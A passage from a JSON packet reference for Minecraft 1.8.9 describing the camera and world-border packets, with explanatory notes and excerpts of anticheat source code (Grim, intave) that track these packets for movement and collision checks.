the whole class: onPreViaPacketSend filters the CAMERA packet, resolves the camera id against compensatedEntities and keeps a one-entry queue. GrimPlayer.java line 254 declares cameraEntity and line 300 constructs it; CheckManager.java line 87 registers it with the player's checks.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedCameraEntity.java",
       "variations": "intave AbilityTracker.receiveCamera is the only other consumer, and it stores a view-entity boolean instead of the entity itself."
      },
      {
       "name": "AbilityTracker.receiveCamera (intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Record when the server moves the player's view onto another entity, so movement checks exempt spectator camera motion.",
       "how_it_works": "A CAMERA packet subscription on the abilities tracker module. receiveCamera reads the entity id from the packet and schedules a tick-synchronized update that sets hasViewEntity to true when the id differs from the player's own entity id. AbilityMetadata.isSpectatorLike() (line 311) returns true for a player whose game mode is spectator or whose hasViewEntity is set, which movement checks use to skip flags that would otherwise fire for spectator motion.",
       "detects": "Nothing directly. It prevents false positives: the view-entity flag keeps spectator camera movement out of the normal movement checks.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/AbilityTracker.java =====\npackage de.jpx3.intave.module.tracker.player;\n\nimport com.comphenix.protocol.events.PacketEvent;\nimport de.jpx3.intave.IntavePlugin;\nimport de.jpx3.intave.executor.Synchronizer;\nimport de.jpx3.intave.module.Module;\nimport de.jpx3.intave.module.Modules;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketId;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.packet.reader.AbilityInReader;\nimport de.jpx3.intave.packet.reader.AbilityOutReader;\nimport de.jpx3.intave.packet.reader.EntityReader;\nimport de.jpx3.intave.packet.reader.GameStateChangeReader;\nimport de.jpx3.intave.share.Motion;\nimport de.jpx3.intave.user.MessageChannel;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.meta.AbilityMetadata;\nimport de.jpx3.intave.user.meta.MetadataBundle;\nimport de.jpx3.intave.user.meta.MovementMetadata;\nimport org.bukkit.ChatColor;\nimport org.bukkit.Location;\nimport org.bukkit.entity.Player;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.*;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.*;\nimport static de.jpx3.intave.packet.reader.GameStateChangeReader.GameState.CHANGE_GAME_MODE;\n\npublic final class AbilityTracker extends Module {\n  @PacketSubscription(packetsOut = CAMERA)\n  public void receiveCamera(User user, EntityReader reader) {\n    int entityId = reader.entityId();\n    user.tickFeedback(() -> synchronizedCameraUpdate(user, entityId));\n  }\n\n  private void synchronizedCameraUpdate(User user, int entityId) {\n    AbilityMetadata abilityData = user.meta().abilities();\n    abilityData.hasViewEntity = entityId != user.player().getEntityId();\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {ABILITIES_IN}\n  )\n  public void receiveAbilities(User user, AbilityInReader reader) {\n    AbilityMetadata abilityData = user.meta().abilities();\n    MovementMetadata movementData = user.meta().movement();\n    boolean flying = reader.requestedFlying();\n    if (abilityData.allowFlying()) {\n      if (flying) {\n        abilityData.setFlying(true);\n      } else {\n        abilityData.disabledFlying = true;\n      }\n    }\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsOut = {\n      ABILITIES_OUT\n    }\n  )\n  public void sentAbilities(User user, AbilityOutReader reader, PacketEvent event) {\n    MetadataBundle meta = user.meta();\n    MovementMetadata movement = meta.movement();\n    AbilityMetadata abilityData = meta.abilities();\n    float flyingSpeed = reader.flyingSpeed();\n    float walkingSpeed = reader.walkingSpeed();\n    boolean allowedFlight = reader.flyingAllowed();\n    boolean critical = abilityData.allowFlying() && !allowedFlight && movement.criticalTeleportRateLimiter.tryAcquire();\n    if (critical /*&& movement.lastTeleport < 20*/) {\n      // Teleport again to force transaction synchronization\n      Synchronizer.synchronizeDelayed(() -> {\n        MovementMetadata moovement = user.meta().movement();\n        if (moovement.criticalFlyingDisallowStacks > 0) {\n          Location position = moovement.verifiedLocation().clone();\n          Player player = user.player();\n          position.setWorld(player.getWorld());\n          player.teleport(position);\n          moovement.criticalFlyingBlockMovementStacks++;\n          if (user.receives(MessageChannel.DEBUG_TELEPORT)) {\n            player.sendMessage(IntavePlugin.prefix() + \"Teleport to \" + player.getLocation().getBlockX() + \" \" + player.getLocation().getBlockY() + \" \" + player.getLocation().getBlockZ() + \" \" + \" as \" + ChatColor.RED + \" not responding to critical flight disallow\");\n          }\n        }\n      }, 20);\n    }\n    if (critical) {\n      if (movement.criticalFlyingDisallowStacks++ == 0) {\n        movement.criticalEnterPosX = movement.verifiedLastPositionX;\n        movement.criticalEnterPosY = movement.verifiedLastPositionY;\n        movement.criticalEnterPosZ = movement.verifiedLastPositionZ;\n      }\n    }\n    user.packetTickFeedback(event, () -> {\n      abilityData.setWalkSpeed(walkingSpeed);\n      abilityData.setFlySpeed(flyingSpeed);\n      abilityData.setAllowFlying(allowedFlight);\n      if (critical) {\n        if (movement.criticalFlyingDisallowStacks > 0) {\n          movement.criticalFlyingDisallowStacks--;\n        }\n        movement.criticalFlyingBlockMovementStacks = 0;\n      }\n    });\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {FLYING, PacketId.Client.POSITION, LOOK, POSITION_LOOK}\n  )\n  public void incomingFlyingUpdate(User user, Player player) {\n    MovementMetadata movementData = user.meta().movement();\n    if (movementData.criticalFlyingDisallowStacks > 0 &&\n      !movementData.criticalFlyingDisallowWasTeleported\n    ) {\n      double deltaX = movementData.verifiedLastPositionX - movementData.criticalEnterPosX;\n      double deltaY = movementData.verifiedLastPositionY - movementData.criticalEnterPosY;\n      double deltaZ = movementData.verifiedLastPositionZ - movementData.criticalEnterPosZ;\n      double distance = Math.sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ);\n      if (distance > 3 && movementData.criticalTeleportRateLimiter.tryAcquire()) {\n        Modules.mitigate().movement().emulationSetBack(player, Motion.newEmpty(), 3, 2, false);\n        if (user.receives(MessageChannel.DEBUG_TELEPORT)) {\n          player.sendMessage(IntavePlugin.prefix() + \"Teleport to \" + player.getLocation().getBlockX() + \" \" + player.getLocation().getBlockY() + \" \" + player.getLocation().getBlockZ() + \" \" + \" for \" + ChatColor.RED + \" critical flying disallow protection\");\n        }\n        movementData.criticalFlyingDisallowStacks = 0;\n      }\n    } else if (movementData.criticalFlyingBlockMovementStacks > 0 && movementData.criticalTeleportRateLimiter.tryAcquire()) {\n      Synchronizer.synchronize(() -> {\n        player.teleport(player.getLocation());\n      });\n      if (user.receives(MessageChannel.DEBUG_TELEPORT)) {\n        player.sendMessage(IntavePlugin.prefix() + \"Teleport to \" + player.getLocation().getBlockX() + \" \" + player.getLocation().getBlockY() + \" \" + player.getLocation().getBlockZ() + \" \" + \" for \" + ChatColor.RED + \" critical flying disallow protection (movement block)\");\n      }\n    }\n  }\n\n  @PacketSubscription(\n    packetsOut = PacketId.Server.POSITION\n  )\n  public void outgoingPositionUpdate(User user) {\n    MovementMetadata movementData = user.meta().movement();\n    movementData.criticalFlyingDisallowWasTeleported = movementData.criticalFlyingDisallowStacks == 1;\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.NORMAL,\n    packetsOut = {\n      GAME_STATE_CHANGE\n    }\n  )\n  public void outgoingGameModeUpdate(\n    User user, GameStateChangeReader reader\n  ) {\n    if (reader.type() != CHANGE_GAME_MODE) {\n      return;\n    }\n    GameMode gameMode = gameModeOf(reader.valueAsInt());\n    AbilityMetadata abilityData = user.meta().abilities();\n    abilityData.setPendingGameMode(gameMode);\n    user.tickFeedback(() -> abilityData.setGameMode(gameMode));\n  }\n\n  private GameMode gameModeOf(int id) {\n    for (GameMode value : GameMode.values()) {\n      if (value.id == id) {\n        return value;\n      }\n    }\n    throw new IllegalStateException(\"Unable to resolve gamemode with id \" + id);\n  }\n\n  public enum GameMode {\n    NOT_SET(-1),\n    SURVIVAL(0),\n    CREATIVE(1),\n    ADVENTURE(2),\n    SPECTATOR(3);\n\n    private final int id;\n\n    GameMode(int id) {\n      this.id = id;\n    }\n\n    public static GameMode fromBukkit(org.bukkit.GameMode gameMode) {\n      switch (gameMode) {\n        case SURVIVAL:\n          return SURVIVAL;\n        case CREATIVE:\n          return CREATIVE;\n        case ADVENTURE:\n          return ADVENTURE;\n        case SPECTATOR:\n          return SPECTATOR;\n        default:\n          throw new IllegalArgumentException(\"Unable to resolve game mode \" + gameMode);\n      }\n    }\n\n    public int id() {\n      return id;\n    }\n  }\n}\n// NOTE (AI): The S43 handling is receiveCamera (lines 30-39), a CAMERA packet subscription that defers the hasViewEntity update to the tick. The rest of the file is the C13 and S39 abilities sync this module also owns; AbilityMetadata.java line 311 consumes the flag.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/AbilityTracker.java",
       "variations": "Grim CompensatedCameraEntity keeps the spectated entity itself and reports whether the view is on the player, instead of a boolean flag."
      }
     ]
    }
   },
   "wiki_notes": [
    "Spectating certain mobs loads dedicated post shaders: creepers, spiders and cave spiders, and endermen each apply their own shader, which unloads when the camera returns to anything else.",
    "Control returns to the player by sending the packet with the player's own entity ID, and the packet is ignored when the target entity is not loaded by the client.",
    "MCP 1.8.9 S43PacketCamera implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleCamera; wire serde is readPacketData/writePacketData via readVarIntFromBuffer.",
    "1.8.9 callers: EntityPlayerMP.setSpectatingEntity sends new S43PacketCamera (line 1263): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S43PacketCamera/",
   "mcp_path": "net/minecraft/network/play/server/S43PacketCamera.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S44PacketWorldBorder",
   "hex": "0x44",
   "dec": 68,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "World Border",
   "desc": "Updates the world border (center, size, warning distance/buffer, damping).",
   "tags": [
    "world",
    "border"
   ],
   "fields": [
    {
     "name": "action",
     "type": "VarInt Enum",
     "desc": "0=setSize, 1=lerpSize, 2=setCenter, 3=initialize, 4=setWarningTime, 5=setWarningBlocks"
    },
    {
     "name": "fields",
     "type": "varies",
     "desc": "Action-dependent border parameters"
    }
   ],
   "encoding": [
    [
     "Action",
     "VarInt",
     "0=size, 1=lerp, 2=center, 3=init, 4=warnTime, 5=warnBlocks"
    ],
    [
     "Per-Action Data",
     "varies",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleWorldBorder()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "World border state machine with six actions: SET_SIZE, LERP_SIZE, SET_CENTER, INITIALIZE, SET_WARNING_TIME and SET_WARNING_BLOCKS. ServerConfigurationManager broadcasts the five change actions to all players on border mutation (lines 245-261 in the MCP builds) and sends INITIALIZE to each player on join (line 786). INITIALIZE is the only action carrying the full state: center, current and target diameter, transition time, and both warning values."
     },
     {
      "h": "Vanilla handling",
      "p": "The client handler func_175093_a delegates to packet.func_179788_a(worldBorder), which mutates the single WorldBorder object owned by the client world: setCenter, setTransition, setWarningDistance and setWarningTime. The border then feeds the renderer's red vignette and the camera clamp in EntityRenderer. It is one of the few packets whose handler mutates shared world state instead of copying values into local fields."
     },
     {
      "h": "Why clients touch it",
      "p": "No module in the 8 clients references S44. Border tracking would matter for movement modules pathing around a shrinking border or for border-bypass claims, but none exists in the corpus. The border is server-enforced: EntityPlayerMP movement validation and WorldBorder.intersects run server-side and teleport or damage players who cross it, so the client's copy is purely cosmetic and modules gain nothing by intercepting it."
     },
     {
      "h": "Exploit surface",
      "p": "All six actions deserialize doubles and a VarLong transition time with no sanity bounds; a hostile server can inject NaN or extreme diameters into the client WorldBorder, which the renderer then lerps against, producing visual glitches (the classic NaN border). Because enforcement is server-side, corrupting the client border changes nothing gameplay-relevant. The notable quirk is LERP_SIZE's VarLong time field, which is milliseconds server-side, not ticks."
     }
    ],
    "overview": "Six-action world border state machine, broadcast on change and fully initialized on join. Server-enforced, so the client copy is cosmetic; none of the 8 clients has a module that references it. The interesting wire details are the mixed field widths and the VarLong transition time.",
    "server_handling": "ServerConfigurationManager registers a WorldBorder listener that broadcasts SET_SIZE, LERP_SIZE, SET_CENTER, SET_WARNING_TIME and SET_WARNING_BLOCKS to all players on mutation (lines 245-261, MCP numbering), and sends INITIALIZE in initializeConnectionToPlayer (line 786). INITIALIZE serializes the whole border: center X/Z doubles, diameter and target doubles, VarLong transition time, warning distance and warning time ints.",
    "protocol_notes": "Action is a VarInt enum; payload depends on action. SET_SIZE: one double (target diameter). LERP_SIZE: old diameter double, target double, VarLong transition time in milliseconds. SET_CENTER: two doubles. SET_WARNING_TIME and SET_WARNING_BLOCKS: one int each. INITIALIZE: center doubles, both diameters, VarLong, and both warning ints. readEnumValue can return null on an out-of-range action, which NPEs in the read switch.",
    "anticheat_landscape": "No anti-cheat measures border packets. The server enforces the border in its own movement pipeline (EntityPlayerMP position validation against WorldBorder.intersects), so client-side border state has no bearing on any server-side check. The only client-visible effect of tampering is rendering artifacts.",
    "modules": [],
    "related": [
     "S41PacketServerDifficulty",
     "S03PacketTimeUpdate",
     "S05PacketSpawnPosition"
    ],
    "anticheat": {
     "overview": "The world border packet is the one clientbound world-state packet anticheats genuinely consume. Grim decodes all five actions into a border state and feeds it into the collision pipeline so phase checks treat the border as a solid wall, and intave decodes the same actions into the border model its movement simulation runs against. NCP and Artemis implement the border-as-wall idea too, but they read Bukkit's server-side WorldBorder instead of the packet. Negativity and Artemis also register the packet type.",
     "checks": [
      {
       "name": "PacketWorldBorder (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Mirror the server's world border state on the compensation side so collision and movement checks know where the border is.",
       "how_it_works": "A PacketSendListener that wraps the five border packet forms (WORLD_BORDER action packet, INITIALIZE_WORLD_BORDER, WORLD_BORDER_CENTER, WORLD_BORDER_SIZE, WORLD_BORDER_LERP_SIZE) and mutates a BorderExtent: SET_SIZE and WORLD_BORDER_SIZE set the diameter, LERP_SIZE and WORLD_BORDER_LERP_SIZE build a moving extent with the transition duration, SET_CENTER and WORLD_BORDER_CENTER move the center, and INITIALIZE fills the whole state plus the portal teleport boundary. Each update is transaction-bracketed and applied on the next real-time task, and tickBorder() advances the lerp on movement ticks.",
       "detects": "Nothing directly. It is the data foundation for the border collision check.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketWorldBorder.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.worldborder.BorderExtent;\nimport ac.grim.grimac.utils.worldborder.RealTimeMovingBorderExtent;\nimport ac.grim.grimac.utils.worldborder.StaticBorderExtent;\nimport ac.grim.grimac.utils.worldborder.TickBasedMovingBorderExtent;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerInitializeWorldBorder;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWorldBorder;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWorldBorderCenter;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWorldBorderSize;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayWorldBorderLerpSize;\nimport lombok.Getter;\nimport org.jetbrains.annotations.Contract;\nimport org.jetbrains.annotations.NotNull;\n\npublic class PacketWorldBorder extends Check implements PacketSendListener {\n    private static final boolean SERVER_TICK_BASED = PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_21_11);\n\n    @Getter\n    private double centerX;\n    @Getter\n    private double centerZ;\n    @Getter\n    private double absoluteMaxSize;\n    @Getter\n    private BorderExtent extent;\n\n    public PacketWorldBorder(GrimPlayer playerData) {\n        super(playerData);\n        this.extent = new StaticBorderExtent(5.999997E7);\n    }\n\n    public double getCurrentDiameter() {\n        return extent.size();\n    }\n\n    public double getMinX() {\n        return extent.getMinX(centerX, absoluteMaxSize);\n    }\n\n    public double getMaxX() {\n        return extent.getMaxX(centerX, absoluteMaxSize);\n    }\n\n    public double getMinZ() {\n        return extent.getMinZ(centerZ, absoluteMaxSize);\n    }\n\n    public double getMaxZ() {\n        return extent.getMaxZ(centerZ, absoluteMaxSize);\n    }\n\n    public void tickBorder() {\n        extent = extent.tick();\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.WORLD_BORDER) {\n            WrapperPlayServerWorldBorder packet = new WrapperPlayServerWorldBorder(event);\n\n            player.sendTransaction();\n            // Names are misleading, it's diameter not radius.\n            if (packet.getAction() == WrapperPlayServerWorldBorder.WorldBorderAction.SET_SIZE) {\n                double size = packet.getRadius();\n                player.addRealTimeTaskNow(() -> setSize(size));\n            } else if (packet.getAction() == WrapperPlayServerWorldBorder.WorldBorderAction.LERP_SIZE) {\n                double oldDiameter = packet.getOldRadius();\n                double newDiameter = packet.getNewRadius();\n                long speed = packet.getSpeed();\n                player.addRealTimeTaskNow(() -> setLerp(oldDiameter, newDiameter, speed));\n            } else if (packet.getAction() == WrapperPlayServerWorldBorder.WorldBorderAction.SET_CENTER) {\n                double centerX = packet.getCenterX();\n                double centerZ = packet.getCenterZ();\n                player.addRealTimeTaskNow(() -> setCenter(centerX, centerZ));\n            } else if (packet.getAction() == WrapperPlayServerWorldBorder.WorldBorderAction.INITIALIZE) {\n                double centerX = packet.getCenterX();\n                double centerZ = packet.getCenterZ();\n                double oldDiameter = packet.getOldRadius();\n                double newDiameter = packet.getNewRadius();\n                long speed = packet.getSpeed();\n                int portalTeleportBoundary = packet.getPortalTeleportBoundary();\n                player.addRealTimeTaskNow(() -> {\n                    setCenter(centerX, centerZ);\n                    setLerp(oldDiameter, newDiameter, speed);\n                    absoluteMaxSize = portalTeleportBoundary;\n                });\n            }\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.INITIALIZE_WORLD_BORDER) {\n            player.sendTransaction();\n            WrapperPlayServerInitializeWorldBorder packet = new WrapperPlayServerInitializeWorldBorder(event);\n            double centerX = packet.getX();\n            double centerZ = packet.getZ();\n            double oldDiameter = packet.getOldDiameter();\n            double newDiameter = packet.getNewDiameter();\n            long speed = packet.getSpeed();\n            int portalTeleportBoundary = packet.getPortalTeleportBoundary();\n            player.addRealTimeTaskNow(() -> {\n                setCenter(centerX, centerZ);\n                setLerp(oldDiameter, newDiameter, speed);\n                absoluteMaxSize = portalTeleportBoundary;\n            });\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.WORLD_BORDER_CENTER) {\n            player.sendTransaction();\n            WrapperPlayServerWorldBorderCenter packet = new WrapperPlayServerWorldBorderCenter(event);\n            double centerX = packet.getX();\n            double centerZ = packet.getZ();\n            player.addRealTimeTaskNow(() -> setCenter(centerX, centerZ));\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.WORLD_BORDER_SIZE) {\n            player.sendTransaction();\n            double size = new WrapperPlayServerWorldBorderSize(event).getDiameter();\n            player.addRealTimeTaskNow(() -> setSize(size));\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.WORLD_BORDER_LERP_SIZE) {\n            player.sendTransaction();\n            WrapperPlayWorldBorderLerpSize packet = new WrapperPlayWorldBorderLerpSize(event);\n            double oldDiameter = packet.getOldDiameter();\n            double newDiameter = packet.getNewDiameter();\n            long speed = packet.getSpeed();\n            player.addRealTimeTaskNow(() -> setLerp(oldDiameter, newDiameter, speed));\n        }\n    }\n\n    @Contract(mutates = \"this\")\n    private void setCenter(double x, double z) {\n        centerX = x;\n        centerZ = z;\n    }\n\n    @Contract(mutates = \"this\")\n    private void setSize(double size) {\n        this.extent = new StaticBorderExtent(size);\n    }\n\n    @Contract(mutates = \"this\")\n    private void setLerp(double oldDiameter, double newDiameter, long speed) {\n        if (speed <= 0 || oldDiameter == newDiameter) {\n            this.extent = new StaticBorderExtent(newDiameter);\n        } else {\n            this.extent = createMovingExtent(oldDiameter, newDiameter, speed);\n        }\n    }\n\n    @Contract(\"_, _, _ -> new\")\n    private @NotNull BorderExtent createMovingExtent(double from, double to, long speed) {\n        if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_21_11)) { // tick-based\n            long durationTicks = SERVER_TICK_BASED ? speed : (speed / 50);\n            return new TickBasedMovingBorderExtent(from, to, durationTicks);\n        } else { // real-time based\n            long durationMs = SERVER_TICK_BASED ? (speed * 50) : speed;\n            return new RealTimeMovingBorderExtent(from, to, durationMs);\n        }\n    }\n\n}\n// NOTE (AI): The S44 handling is the whole onPacketSend method (lines 65-137), covering all five border packet forms. PacketPlayerTick.java lines 30 and 37 fetch this check to read border state during movement ticks; Collisions.java line 216 pulls it inside addWorldBorder.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketWorldBorder.java",
       "variations": "intave WorldBorderReader performs the same decode on intave's event bus; Artemis PacketRepository (SERVER_PLAY + 91) and Negativity PacketType only register the type."
      },
      {
       "name": "Border collision (Grim Collisions)",
       "found_in": [
        "GrimAnticheat-Grim",
        "Updated-NoCheatPlus-NoCheatPlus",
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Treat the world border as an axis-aligned collision wall so phase and clipping checks cannot move a player through it.",
       "how_it_works": "Collisions.addWorldBorder computes the border's min and max X/Z from the PacketWorldBorder check state and, when the player is within 16 blocks of the border, appends four thin collision boxes (one per side, infinite in Y) to the box list the collision resolver tests against. getCollisionBoxes calls it first, so any movement that would place the player across the border collides like a wall.",
       "detects": "Phase and border-bypass cheats that move through or beyond the world border.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/nmsutil/Collisions.java =====\npackage ac.grim.grimac.utils.nmsutil;\n\nimport ac.grim.grimac.events.packets.PacketWorldBorder;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.predictionengine.blockeffects.BlockEffectsResolver;\nimport ac.grim.grimac.predictionengine.blockeffects.impl.BlockEffectsResolverV1_21_10;\nimport ac.grim.grimac.predictionengine.blockeffects.impl.BlockEffectsResolverV1_21_2;\nimport ac.grim.grimac.predictionengine.blockeffects.impl.BlockEffectsResolverV1_21_4;\nimport ac.grim.grimac.predictionengine.blockeffects.impl.BlockEffectsResolverV1_21_5;\nimport ac.grim.grimac.predictionengine.blockeffects.impl.BlockEffectsResolverV1_21_6;\nimport ac.grim.grimac.utils.chunks.Column;\nimport ac.grim.grimac.utils.collisions.CollisionData;\nimport ac.grim.grimac.utils.collisions.datatypes.CollisionBox;\nimport ac.grim.grimac.utils.collisions.datatypes.SimpleCollisionBox;\nimport ac.grim.grimac.utils.data.VectorData;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport ac.grim.grimac.utils.data.tags.SyncedTags;\nimport ac.grim.grimac.utils.functions.BlockAndPositionConsumer;\nimport ac.grim.grimac.utils.functions.BlockAndPositionPredicate;\nimport ac.grim.grimac.utils.latency.CompensatedWorld;\nimport ac.grim.grimac.utils.math.GrimMath;\nimport ac.grim.grimac.utils.math.Vector3dm;\nimport ac.grim.grimac.utils.math.VectorUtils;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.potion.PotionTypes;\nimport com.github.retrooper.packetevents.protocol.world.Direction;\nimport com.github.retrooper.packetevents.protocol.world.chunk.BaseChunk;\nimport com.github.retrooper.packetevents.protocol.world.states.WrappedBlockState;\nimport com.github.retrooper.packetevents.protocol.world.states.defaulttags.BlockTags;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateType;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateTypes;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.util.Vector3i;\nimport it.unimi.dsi.fastutil.floats.FloatArraySet;\nimport it.unimi.dsi.fastutil.floats.FloatArrays;\nimport it.unimi.dsi.fastutil.floats.FloatSet;\nimport lombok.experimental.UtilityClass;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\n@UtilityClass\npublic final class Collisions {\n    public static final double COLLISION_EPSILON = 1.0E-7;\n\n    private static final boolean IS_FOURTEEN = PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_14); // Optimization for chunks with empty block count\n    private static final List<List<Axis>> allAxisCombinations = Arrays.asList(\n            Arrays.asList(Axis.Y, Axis.X, Axis.Z),\n            Arrays.asList(Axis.Y, Axis.Z, Axis.X),\n\n            Arrays.asList(Axis.X, Axis.Y, Axis.Z),\n            Arrays.asList(Axis.X, Axis.Z, Axis.Y),\n\n            Arrays.asList(Axis.Z, Axis.X, Axis.Y),\n            Arrays.asList(Axis.Z, Axis.Y, Axis.X));\n    private static final List<List<Axis>> nonStupidityCombinations = Arrays.asList(\n            Arrays.asList(Axis.Y, Axis.X, Axis.Z),\n            Arrays.asList(Axis.Y, Axis.Z, Axis.X));\n\n    public static boolean slowCouldPointThreeHitGround(GrimPlayer player, double x, double y, double z) {\n        SimpleCollisionBox oldBB = player.boundingBox;\n        player.boundingBox = GetBoundingBox.getBoundingBoxFromPosAndSize(player, x, y, z, 0.6f, 0.06f);\n\n        double movementThreshold = player.getMovementThreshold();\n        double posXZ = collide(player, movementThreshold, -movementThreshold, movementThreshold).getY();\n        double negXNegZ = collide(player, -movementThreshold, -movementThreshold, -movementThreshold).getY();\n        double posXNegZ = collide(player, movementThreshold, -movementThreshold, -movementThreshold).getY();\n        double posZNegX = collide(player, -movementThreshold, -movementThreshold, movementThreshold).getY();\n\n        player.boundingBox = oldBB;\n        return negXNegZ != -movementThreshold || posXNegZ != -movementThreshold || posXZ != -movementThreshold || posZNegX != -movementThreshold;\n    }\n\n    // Call this when there isn't uncertainty on the Y axis\n    public static Vector3dm collide(GrimPlayer player, double desiredX, double desiredY, double desiredZ) {\n        return collide(player, desiredX, desiredY, desiredZ, desiredY, null);\n    }\n\n    public static Vector3dm collide(GrimPlayer player, double desiredX, double desiredY, double desiredZ, double clientVelY, VectorData data) {\n        if (desiredX == 0 && desiredY == 0 && desiredZ == 0) return new Vector3dm();\n\n        final SimpleCollisionBox grabBoxesBB = player.boundingBox.copy();\n        final double stepUpHeight = player.getMaxUpStep();\n\n        if (desiredX == 0.0 && desiredZ == 0.0) {\n            if (desiredY > 0.0) {\n                grabBoxesBB.maxY += desiredY;\n            } else {\n                grabBoxesBB.minY += desiredY;\n            }\n        } else {\n            if (stepUpHeight > 0.0 && (player.lastOnGround || desiredY < 0 || clientVelY < 0)) {\n                // don't bother getting the collisions if we don't need them.\n                if (desiredY <= 0.0) {\n                    grabBoxesBB.expandToCoordinate(desiredX, desiredY, desiredZ);\n                    grabBoxesBB.maxY += stepUpHeight;\n                } else {\n                    grabBoxesBB.expandToCoordinate(desiredX, Math.max(stepUpHeight, desiredY), desiredZ);\n                }\n            } else {\n                grabBoxesBB.expandToCoordinate(desiredX, desiredY, desiredZ);\n            }\n        }\n\n        List<SimpleCollisionBox> desiredMovementCollisionBoxes = new ArrayList<>();\n        getCollisionBoxes(player, grabBoxesBB, desiredMovementCollisionBoxes, false);\n\n        double bestInput = Double.MAX_VALUE;\n        Vector3dm bestOrderResult = null;\n\n        Vector3dm bestTheoreticalCollisionResult = VectorUtils.cutBoxToVector(player.actualMovement, new SimpleCollisionBox(0, Math.min(0, desiredY), 0, desiredX, Math.max(stepUpHeight, desiredY), desiredZ).sort());\n        int zeroCount = (desiredX == 0 ? 1 : 0) + (desiredY == 0 ? 1 : 0) + (desiredZ == 0 ? 1 : 0);\n\n        for (List<Axis> order : (data != null && data.isZeroPointZeroThree() ? allAxisCombinations : nonStupidityCombinations)) {\n            Vector3dm collisionResult = collideBoundingBoxLegacy(new Vector3dm(desiredX, desiredY, desiredZ), player.boundingBox, desiredMovementCollisionBoxes, order);\n\n            // While running up stairs and holding space, the player activates the \"lastOnGround\" part without otherwise being able to step\n            // 0.03 movement must compensate for stepping elsewhere.  Too much of a hack to include in this method.\n            boolean movingIntoGroundReal = player.pointThreeEstimator.closeEnoughToGroundToStepWithPointThree(data, clientVelY) || collisionResult.getY() != desiredY && (desiredY < 0 || clientVelY < 0);\n            boolean movingIntoGround = player.lastOnGround || movingIntoGroundReal;\n\n            // If the player has x or z collision, is going in the downwards direction in the last or this tick, and can step up\n            // If not, just return the collisions without stepping up that we calculated earlier\n\n            // At high ping, if you get setback, then you can reach the ground in time. When you are teleported back up by the setback, the game allows you to step up legitimately. By disallowing stepping we prevent a step exploit.\n            final boolean disallowStepping = player.getSetbackTeleportUtil().getRequiredSetBack() != null && player.getSetbackTeleportUtil().getRequiredSetBack().getTicksComplete() == 1;\n            if (!disallowStepping && stepUpHeight > 0.0F && movingIntoGround && (collisionResult.getX() != desiredX || collisionResult.getZ() != desiredZ)) 